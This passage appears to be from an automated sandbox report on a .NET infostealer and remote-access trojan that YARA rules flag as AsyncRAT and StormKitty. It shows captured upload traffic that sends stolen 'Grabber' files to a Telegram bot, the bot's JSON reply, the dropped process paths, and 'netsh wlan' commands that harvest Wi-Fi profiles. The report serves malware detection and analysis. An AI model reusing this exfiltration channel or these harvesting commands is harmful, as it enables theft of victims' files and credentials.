PK2VBrowsers\Google\PK2V>_Directories\Desktop.txten0DXm#e<Q7NBg=&t#F(1]h.pfAHYZ&P$nX^Ij?HqA1pjqn<npl+L!EQz$NLG*uUY.EX
2023-01-18 22:38:00 UTC	155	OUT	Data Raw: 0d 94 0e 34 e5 62 53 a3 1e a7 8e 1a a6 06 98 23 e1 8e 9b ed 2b 52 61 68 e8 3e f4 82 4c 87 00 08 11 81 df 6b 0a 2f 7b 13 5f 71 f3 d8 5a 61 af e2 a7 7d c4 20 d8 d7 b0 46 9e bc e8 e6 a0 a2 a0 c9 4d 88 bc f3 6e 5e 4c af a3 d4 a4 bd 52 b5 65 2e c9 34 77 a7 9a e9 ae ac f2 ea 92 6f f5 ee f6 53 9f 67 6d a8 80 b6 30 43 2e 22 1a 96 8d be e4 55 9a 40 83 ae 88 4d e1 0b 88 1d ed 91 56 38 5f e5 24 b6 39 4f 09 b5 6d 8a 7a b9 77 8e 29 a6 ed 59 11 d6 d1 b6 48 36 03 f5 c8 7e 06 37 7b 06 13 76 bd de 39 20 7b 83 9a 65 92 7a 28 42 36 cb e9 59 59 a7 ed 36 26 26 18 fd e1 78 db 2c f4 d6 63 fb 52 85 b7 1b ca f4 05 6b 5c 74 e2 72 46 43 4e 67 19 84 d2 0d 99 04 56 92 ed 76 a2 62 e7 3b 70 34 cf ee 1a d3 e0 48 e7 0d 2c 9a 5f 87 b0 03 cf e6 c1 ce a4 6b 2f 2f b8 35 e7 58 ad 3e 7b dc 83 Data Ascii: 4bS#+Rah>Lk/{_qZa} FMn^LRe.4woSgm0C."U@MV8_$9Omzw)YH6~7{v9 {ez(B6YY6&&x,cRk\trFCNgVvb;p4H,_k//5X>{
2023-01-18 22:38:00 UTC	171	OUT	Data Raw: be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 99 f6 f2 15 52 03 be b5 12 6a a4 a3 b6 8a b4 92 51 8d e9 3c 98 50 81 6e 68 37 9a 72 26 a0 67 c5 30 be 26 b0 07 fe ae fa aa e1 78 85 4d 99 0f 28 23 2a 05 5d 82 bd 71 47 ad 0c c9 b3 cd 6c e1 6c fa ba 1a 4c b6 3a ea 71 9a 0d f2 7d e6 6c 70 fa 63 8a cd dc 26 a5 f9 4a f1 70 39 7e dd ce 2d 95 16 d0 ad b5 03 89 33 9f cf bc 2e 69 c5 ac 21 fa b0 74 c6 ef 1b 15 7d cd 8b 6d d0 5c 70 36 af e9 90 6c f8 27 50 4b 03 04 14 00 00 00 08 00 30 7d 10 55 6d 3f 8e 9a 84 02 00 00 02 04 00 00 34 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 6f 77 6e 6c 6f 61 64 73 5c 43 5a 51 4b 53 44 44 4d 57 52 2e 70 6e 67 0d 92 49 8e 45 21 08 45 e7 95 fc 45 d9 37 28 76 a8 c8 fe 17 Data Ascii: +IFm8x=gf9>UURjQ<Pnh7r&g0&xM(#*]qGllL:q}lpc&Jp9~-3.i!t}m\p6l'PK0}Um?4Grabber\DRIVE-C\Users\user\Downloads\CZQKSDDMWR.pngIE!EE7(v
2023-01-18 22:38:00 UTC	187	OUT	Data Raw: a4 d4 5f 84 34 7c 99 f4 9d 19 59 cc 5f cf ad cf f2 3e f1 c8 c1 45 60 be 52 91 e8 ce 67 e7 ab b3 f3 a4 45 0e 44 f1 ea 83 e8 53 47 7f 8c c9 ad 73 68 b0 38 26 5c e9 04 af fd 78 d5 eb c2 33 84 fb 5c e9 cb 5e 80 cf d5 77 d5 34 e7 39 58 20 5e f1 a9 44 ca 21 c5 13 92 d1 c7 59 1f 42 05 63 f1 22 43 b1 c0 70 ca aa a2 c4 be c9 df 67 47 0c 28 f3 df 34 26 be 9f 19 8f 48 1a cb a2 f8 c5 d2 04 f4 6c 5a db d5 3f 67 db f0 92 c8 7a c7 ec 7c b0 9a d4 69 2b 75 fe e9 95 dc ba 01 ad ca 0f b5 80 c1 e4 be 5d df d3 81 fb b5 11 1e db 7b 2e 57 8a 6d fe a2 d2 17 30 78 37 b8 2a a6 75 e5 e1 3e b5 17 4d eb ed 82 bc aa 7e ad 86 fb 8f ec 52 5b d3 30 4c 5b 86 58 e0 6d f8 24 e6 fc d6 f1 08 c7 77 5c da 27 f7 a2 f8 e2 d8 e3 a0 f4 cf b7 5d b3 ba 1c fb 9e 6e fa 05 ff ea 45 f5 ca c5 97 64 c2 f6 Data Ascii: _4\|Y_>E`RgEDSGsh8&\x3\^w49X ^D!YBc"CpgG(4&HlZ?gz\|i+u]{.Wm0x7*u>M~R[0L[Xm$w\']nEd
2023-01-18 22:38:00 UTC	203	OUT	Data Raw: c5 fa 60 6d bb 32 ac 6c 34 9a f0 1c 5a 0f 6b 94 a9 6a fa ac b8 7b 4c 34 ba 34 e9 1a 28 b3 44 6b 98 b2 d8 11 df 4e 1c 1c 44 65 83 a4 40 05 fa 28 33 41 52 26 b7 00 1f b0 48 1f c0 a8 4f 18 91 3a 6f 92 4d 56 49 a9 21 b1 f2 92 2f 49 62 2e 2a 23 cb ee 64 b6 da df cd 45 a8 77 c8 b4 11 c0 79 f3 6d 50 a2 bd da 95 c4 22 bb d2 c5 77 b4 5a bb 55 a2 22 66 52 ac ec e3 ef a6 ae 36 8c d7 68 4e cd 9c 75 32 41 1a 18 5a e7 66 61 ba 57 7f 18 19 da 82 c5 17 87 2e 01 71 cd 5c 66 9e 28 1d b1 d2 cf f8 61 57 fc 43 d6 e3 cd 7d 9e e1 f2 3d 53 d7 b6 f7 99 4d 81 4b 9b a9 b4 62 f6 92 af 8e 67 aa 0b 56 bf df 62 03 1e bd 1c 83 4c 7f 3c ed f9 e8 a2 30 4b 75 6f d2 bd 37 59 c0 42 cd 6a 49 e4 1b af c8 2b c0 84 a8 ee 2c cb b1 b9 50 c0 ce 43 4b 09 16 75 fd 71 61 fb 78 49 93 df b5 23 59 8c 29 Data Ascii: `m2l4Zkj{L44(DkNDe@(3AR&HO:oMVI!/Ib.*#dEwymP"wZU"fR6hNu2AZfaW.q\f(aWC}=SMKbgVbL<0Kuo7YBjI+,PCKuqaxI#Y)
2023-01-18 22:38:00 UTC	219	OUT	Data Raw: 83 eb b1 c3 b4 a9 e0 08 dc 79 80 fc 71 e6 a9 97 de 2d c4 1b a2 40 54 0e cc 17 08 f8 6f 37 e1 a2 2c ff 81 9f e7 c1 21 9b 52 c2 df 6a c2 55 09 c0 ac 03 c8 a6 a0 12 6f 38 29 55 ad f7 f1 30 6f 9d 34 6f 01 05 9e 96 35 a2 c0 13 00 f6 e2 12 e5 fd 65 04 b3 80 1c be cf 5b 40 1e b9 ca ad 80 57 31 72 ae 5f a7 bc 5d 87 7c 65 84 99 5e 3f 6f c9 eb 88 c2 07 f7 85 94 e9 d3 34 b9 18 99 e8 23 9f d0 e6 9d 67 8b b9 8c 84 e6 60 64 7e 5d 73 78 1f e6 c3 73 10 fb 4c 3d d8 27 7d 8d 98 7f 8e f1 eb 9a d0 02 f8 3f 13 60 51 1a 0f a9 25 c5 21 44 bf 3a 25 25 e3 4e 09 0a 17 bc 9e 8e 96 02 e3 34 7b 09 20 bb 1e 3e a1 22 a1 62 49 57 78 aa b0 50 18 1c 8b d7 2d 78 c4 4e ba 7d 8d 9d 34 31 b8 38 39 cc b8 13 24 7f 41 84 b1 66 c4 49 40 41 39 de ae 12 f8 24 16 51 f8 1f 87 48 19 14 08 88 fd b2 fb Data Ascii: yq-@To7,!RjUo8)U0o4o5e[@W1r_]\|e^?o4#g`d~]sxsL='}?`Q%!D:%%N4{ >"bIWxP-xN}4189$AfI@A9$QH
2023-01-18 22:38:00 UTC	235	OUT	Data Raw: c2 73 4c 8e fd 5d d0 84 e1 67 d4 13 7a 9d 34 9e bb b5 6b c9 6b 46 fe f9 5d ca 47 2a e1 d7 1f 29 25 4f 24 13 7d 2e 9d 08 e9 bf fd 26 eb a3 f7 db b2 26 f8 42 38 ec 79 c9 b7 fd 20 3a 8f 61 ad df 82 f5 41 32 69 6f c9 6d e9 3e b4 cc a9 cd 45 bc 3e 05 5c c6 79 05 b1 b1 3f a5 b3 fa 2e 87 fa be 69 b9 0b a6 bd 5f 7b ae 4a 52 9e b4 0d cc 09 64 dc ce 61 cf 62 6a 3a b3 a3 d9 b4 93 d2 0d c4 86 b8 60 6f d0 d9 c8 d3 dd be e3 68 bd 19 cb e9 1a f8 8b 59 e1 ee cf 60 44 8f c2 ab fc b9 43 42 30 86 71 3b dd f9 7e ed 17 31 85 05 73 a6 01 f6 17 ab 2c cc d6 5c f0 9f e2 cc 9a d6 b1 0c 2c 67 a3 63 1f 77 06 12 cf e2 4b 69 71 a3 7a b3 87 e0 68 1e 7b 46 1f 4d 02 b3 f1 ae e1 3b 18 23 74 b6 58 ca f0 42 3e d8 a3 fe 8f 19 a4 f4 e5 c9 cc c6 9d de 58 33 5d fb e3 90 d9 c9 cc c1 86 b2 a3 5e Data Ascii: sL]gz4kkF]G*)%O$}.&&B8y :aA2iom>E>\y?.i_{JRdabj:`ohY`DCB0q;~1s,\,gcwKiqzh{FM;#tXB>X3]^
2023-01-18 22:38:00 UTC	251	OUT	Data Raw: 42 e3 67 f7 e1 4a cf c3 27 17 1a 3e 50 85 14 2d 11 dc bc 9e c9 8c 15 d3 84 1d 10 f3 84 17 4b d6 7e 1a a9 b2 7c 31 cd 94 6c 66 db 50 88 02 c5 78 41 7c 0a fb e5 50 a0 57 87 fd c8 37 7e c2 28 10 f6 11 fd b9 73 c4 b1 c6 0b 60 44 58 0e 41 76 34 00 62 df c9 d5 3f b3 53 a6 74 6d 5f c3 f7 c5 88 85 d5 33 43 78 38 c5 1d 52 92 06 63 59 b8 6f eb d6 96 d4 54 61 44 6b 7c e1 1d be e4 fb 16 29 2a 0f 6a ee 82 5f 14 6c 56 73 e0 fb 57 4f fd 88 09 17 a1 b5 4c 93 ca 79 8d b4 3c e2 45 3e 30 31 6a 47 81 38 cf a6 51 20 66 6f 8a 73 b6 4a c8 01 ff 6a e3 31 1b a0 32 e6 63 ff 2a 5b 63 d7 4a 15 0f 0f 58 fd d5 92 84 e4 17 8b bc a0 96 ae 02 90 85 5c 33 8b 62 97 a4 a2 8d ee ce 81 fa 6d 25 87 10 e3 27 57 8c f1 bf 11 47 be ba 23 65 31 b9 17 ad 5b 02 92 cc 3d 0d a7 b2 9f fe d1 78 72 5d ff Data Ascii: BgJ'>P-K~\|1lfPxA\|PW7~(s`DXAv4b?Stm_3Cx8RcYoTaDk\|)j_lVsWOLy<E>01jG8Q fosJj12c[cJX\3bm%'WG#e1[=xr]
2023-01-18 22:38:00 UTC	267	OUT	Data Raw: 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 54 51 44 46 4a 48 50 55 49 55 2e 6a 70 67 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 fe c2 3f b3 82 02 00 00 02 04 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 cd 1f 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 54 51 44 46 4a 48 50 55 49 55 2e 78 6c 73 78 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 dc be 3b cb 83 02 00 00 02 04 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 22 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 5a 49 50 58 59 58 57 49 4f 59 2e 6a 70 67 50 4b 01 02 14 00 14 00 00 00 08 00 30 7d 10 55 7d Data Ascii: er\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.jpgPK0}U?3Grabber\DRIVE-C\Users\user\Desktop\TQDFJHPUIU.xlsxPK0}U;2"Grabber\DRIVE-C\Users\user\Desktop\ZIPXYXWIOY.jpgPK0}U}
2023-01-18 22:38:00 UTC	272	OUT	Data Raw: 0d 0a 2d 2d 64 65 39 32 65 38 65 36 2d 66 39 63 30 2d 34 34 34 31 2d 38 38 34 39 2d 36 37 63 62 62 38 62 63 64 65 62 39 2d 2d 0d 0a Data Ascii: --de92e8e6-f9c0-4441-8849-67cbb8bcdeb9--
2023-01-18 22:38:00 UTC	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 22:38:00 GMT Content-Type: application/json Content-Length: 512 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":76629,"from":{"id":5292408150,"is_bot":true,"first_name":"PuTTY","username":"WorldWind22_bot"},"chat":{"id":5038570348,"first_name":"RL_","last_name":"XSS","username":"RL_XSS","type":"private"},"date":1674081480,"document":{"file_name":"C_UsersuserAppDataLocal7d8c2d0276fdcfef0891ca2c2e90fd37user@11.zip","mime_type":"application/zip","file_id":"BQACAgQAAxkDAAEBK1VjyHTIKs1Wyxg7qw5Lg68UYcghJwACgg8AAk9kQVKizMQX6tEKwi0E","file_unique_id":"AgADgg8AAk9kQVI","file_size":136395}}}

Target ID:	0
Start time:	23:36:59
Start date:	18/01/2023
Path:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\3ZCSmfAvnf.exe
Imagebase:	0x720000
File size:	343552 bytes
MD5 hash:	C7FBE52E88456EABB4D4A1A1A0670CF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	23:37:07
Start date:	18/01/2023
Path:	C:\ProgramData\WindowsDataC.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\WindowsDataC.exe"
Imagebase:	0x510000
File size:	343552 bytes
MD5 hash:	C7FBE52E88456EABB4D4A1A1A0670CF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000002.573200275.0000000002848000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000002.579905238.0000000012978000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	23:37:07
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\RunIt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RunIt.exe"
Imagebase:	0x12d0000
File size:	146944 bytes
MD5 hash:	D067619856F7F3079375960F62B99369
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	23:37:07
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\wwst.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\wwst.exe"
Imagebase:	0x6d0000
File size:	179200 bytes
MD5 hash:	5224B9398F4ED7A52B85B432B3D50A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\wwst.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	23:37:19
Start date:	18/01/2023
Path:	C:\ProgramData\WindowsDataC.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\WindowsDataC.exe"
Imagebase:	0x1f0000
File size:	343552 bytes
MD5 hash:	C7FBE52E88456EABB4D4A1A1A0670CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000004.00000002.573353183.0000000002598000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	23:37:28
Start date:	18/01/2023
Path:	C:\ProgramData\WindowsDataC.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\WindowsDataC.exe"
Imagebase:	0xb10000
File size:	343552 bytes
MD5 hash:	C7FBE52E88456EABB4D4A1A1A0670CF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000005.00000002.573024756.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	23:37:36
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\Rnts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Rnts.exe"
Imagebase:	0x7ff61e220000
File size:	146944 bytes
MD5 hash:	D067619856F7F3079375960F62B99369
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	7
Start time:	23:37:43
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	23:37:43
Start date:	18/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	23:37:43
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xde0000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	10
Start time:	23:37:43
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x8c0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	11
Start time:	23:37:44
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x2a0000
File size:	29696 bytes
MD5 hash:	8B534A7FC0630DE41BB1F98C882C19EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	23:37:44
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0xd90000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	23:37:44
Start date:	18/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	14
Start time:	23:37:44
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xde0000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	15
Start time:	23:37:45
Start date:	18/01/2023
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
